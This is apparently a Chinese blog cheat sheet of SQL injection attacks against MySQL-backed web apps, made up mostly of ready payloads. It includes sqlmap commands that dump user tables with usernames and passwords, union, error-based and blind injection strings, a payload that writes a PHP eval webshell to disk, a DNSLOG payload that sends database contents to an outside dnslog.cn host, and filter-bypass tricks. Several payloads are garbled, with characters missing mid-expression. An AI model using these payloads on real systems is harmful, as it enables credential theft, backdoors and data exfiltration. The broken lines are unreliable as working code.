SQL注入

参考链接:
https://blog.csdn.net/silence1_/article/details/90812612

一.sqlmap注入

1.sqlmap -u “http://” --dbs
2.sqlmap -u “http://” -D cms --tables
3.sqlmap -u “http://” -D cms -T cms_users --columns
4.sqlmap -u “http://” -D cms -T cms_users -C username,password --dump

# 二.union注入

1.判断是GET还是POST
2.确认注入类型(字符或数字)
3.确定字段总数:order by 3–+
4.查询表名:union select 1,group_concat(table_name),15 from information_schema.tables where table_schema=database()
5.查询列名:union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘cms_users’
6.查询指定字段名: union select 1,username,password from cms_users

三.报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复

1.extractvalue

函数原型:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
pyload:
id=‘and(select extractvalue(“anything”,concat(’~',(select语句))))
id='and select extractvalue(1,concat(0x7e,select database()));
concat是拼接括号里面的内容,变为~select,这样语法有问题会报错显示出我们想要的信息

针对mysql:

‘0x7e‘可以换成’#’'$'等不满足xpath格式的字符,不满足才会报错出来
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页(limit 0,1,limit 1,1),一次查看最多32位

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2.updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

payloads:

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

3.concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

爆数据库名:'union select 1 from (select count(*),concat((select database())," “,floor(rand(0)2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(
),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,” “,floor(rand(0)2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(
),concat((select column_name from information_schema.columns where table_name=“TABLE_NAME” limit 0,1) ,” “,floor(rand(0)2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(
),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ,” ",floor(rand(0)*2))x from information_schema.tables group by x)a

4.floor(rand())语句报错

select count(*),concat_ws(‘-’,(select database()),floor(rand(0)*2)) as a from users group by a;
image

rand里面写一个值,rand(数字)随机值固定,rand(0)固定报错
count()语句不能去掉

image

四.布尔盲注

1.?id=1’and ascii(substr(database(),1,1))>=100–+
2.?id=1’and length(database())>5–+

五.时间盲注

select if(ascii(substr((select database()),1,1))>96,sleep(0),sleep(3));

六.文件写入

?id=1’)) select 1,2,"<?php eval($_POST['a']);?>“into outfile"D:\phpstudy_pro\www\1.php”;

七.DNSLOG注入

id=1’ and select load_file(concat(‘//’,(select database()),‘.1wk1sr.dnslog.cn/1.txt’))–+

image

八.http头注入

1.cookie注入

在cokie中找到注入点注入
image

2.UA头注入

在user-agent里面注入
image

九.宽字节注入

宽字节的介绍
GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是)
ASCII 占一个字节
PHP中编码为GBK ,函数执行添加的是ASCII编码,mysql默认字符集是GBK等宽字节字符集
image

image

十.过滤绕过

1.and和or过滤

大小写绕过:anD
双写绕过:anandd
代替绕过:&&代替and,|代替or

2.空格过滤

参考链接:https://www.bilibili.com/video/BV1c34y1h7So?p=29&vd_source=13eaffbe7207824811f733296fd68334
换行:%0a,%a0
空格:%20
注释:/**/
image

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值